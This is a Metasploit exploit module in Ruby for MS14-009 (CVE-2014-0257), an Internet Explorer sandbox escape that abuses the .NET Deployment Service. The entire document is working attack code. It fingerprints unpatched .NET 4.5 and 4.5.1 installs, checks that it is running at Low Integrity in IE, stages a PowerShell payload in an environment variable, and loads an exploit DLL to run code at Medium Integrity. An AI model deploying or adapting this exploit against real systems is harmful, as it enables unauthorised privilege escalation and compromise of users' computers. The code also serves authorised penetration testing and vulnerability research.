MS14-009 .NET Deployment Service IE Sandbox Escape

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/exploit/exe'  
require 'msf/core/exploit/powershell'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = GreatRanking  
  
include Msf::Exploit::Powershell  
include Msf::Exploit::EXE  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::FileInfo  
include Msf::Post::File  
  
NET_VERSIONS = {  
'4.5' => {  
'dfsvc' => '4.0.30319.17929.17',  
'mscorlib' => '4.0.30319.18063.18'  
},  
'4.5.1' => {  
'dfsvc' => '4.0.30319.18408.18',  
'mscorlib' => '4.0.30319.18444.18'  
}  
}  
  
def initialize(info={})  
super( update_info( info,  
'Name' => 'MS14-009 .NET Deployment Service IE Sandbox Escape',  
'Description' => %q{  
This module abuses a process creation policy in the Internet Explorer Sandbox which allows  
to escape the Enhanced Protected Mode and execute code with Medium Integrity. The problem  
exists in the .NET Deployment Service (dfsvc.exe), which can be run as Medium Integrity  
Level. Further interaction with the component allows to escape the Enhanced Protected Mode  
and execute arbitrary code with Medium Integrity.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'James Forshaw', # Vulnerability Discovery and original exploit code  
'juan vazquez' # metasploit module  
],  
'Platform' => [ 'win' ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' =>  
[  
[ 'IE 8 - 11', { } ]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' =>  
{  
'WfsDelay' => 30  
},  
'DisclosureDate'=> "Feb 11 2014",  
'References' =>  
[  
['CVE', '2014-0257'],  
['MSB', 'MS14-009'],  
['BID', '65417'],  
['URL', 'https://github.com/tyranid/IE11SandboxEscapes']  
]  
))  
end  
  
def check  
unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")  
return Exploit::CheckCode::Unknown  
end  
  
net_version = get_net_version  
  
if net_version.empty?  
return Exploit::CheckCode::Unknown  
end  
  
unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")  
return Exploit::CheckCode::Detected  
end  
  
mscorlib_version = get_mscorlib_version  
  
if Gem::Version.new(mscorlib_version) >= Gem::Version.new(NET_VERSIONS[net_version]["mscorlib"])  
return Exploit::CheckCode::Safe  
end  
  
Exploit::CheckCode::Vulnerable  
end  
  
def get_net_version  
net_version = ""  
  
dfsvc_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")  
dfsvc_version = dfsvc_version.join(".")  
  
NET_VERSIONS.each do |k,v|  
if v["dfsvc"] == dfsvc_version  
net_version = k  
end  
end  
  
net_version  
end  
  
def get_mscorlib_version  
mscorlib_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")  
mscorlib_version.join(".")  
end  
  
def exploit  
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?  
  
mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')  
if mod_handle['return'] == 0  
fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")  
end  
  
unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]  
fail_with(Failure::NotVulnerable, "Not running at Low Integrity")  
end  
  
print_status("Searching .NET Deployment Service (dfsvc.exe)...")  
  
unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")  
fail_with(Failure::NotVulnerable, ".NET Deployment Service (dfsvc.exe) not found")  
end  
  
net_version = get_net_version  
  
if net_version.empty?  
fail_with(Failure::NotVulnerable, "This module only targets .NET Deployment Service from .NET 4.5 and .NET 4.5.1")  
end  
  
print_good(".NET Deployment Service from .NET #{net_version} found.")  
  
print_status("Checking if .NET is patched...")  
  
unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")  
fail_with(Failure::NotVulnerable, ".NET Installation can not be verified (mscorlib.dll not found)")  
end  
  
mscorlib_version = get_mscorlib_version  
  
if Gem::Version.new(mscorlib_version) >= Gem::Version.new(NET_VERSIONS[net_version]["mscorlib"])  
fail_with(Failure::NotVulnerable, ".NET Installation not vulnerable")  
end  
  
print_good(".NET looks vulnerable, exploiting...")  
  
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip  
session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)  
  
temp = get_env('TEMP')  
  
print_status("Loading Exploit Library...")  
  
session.core.load_library(  
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll"),  
'TargetFilePath' => temp + "\\CVE-2014-0257.dll",  
'UploadLibrary' => true,  
'Extension' => false,  
'SaveToDisk' => false  
)  
end  
  
def cleanup  
session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil)  
super  
end  
  
end  
  
`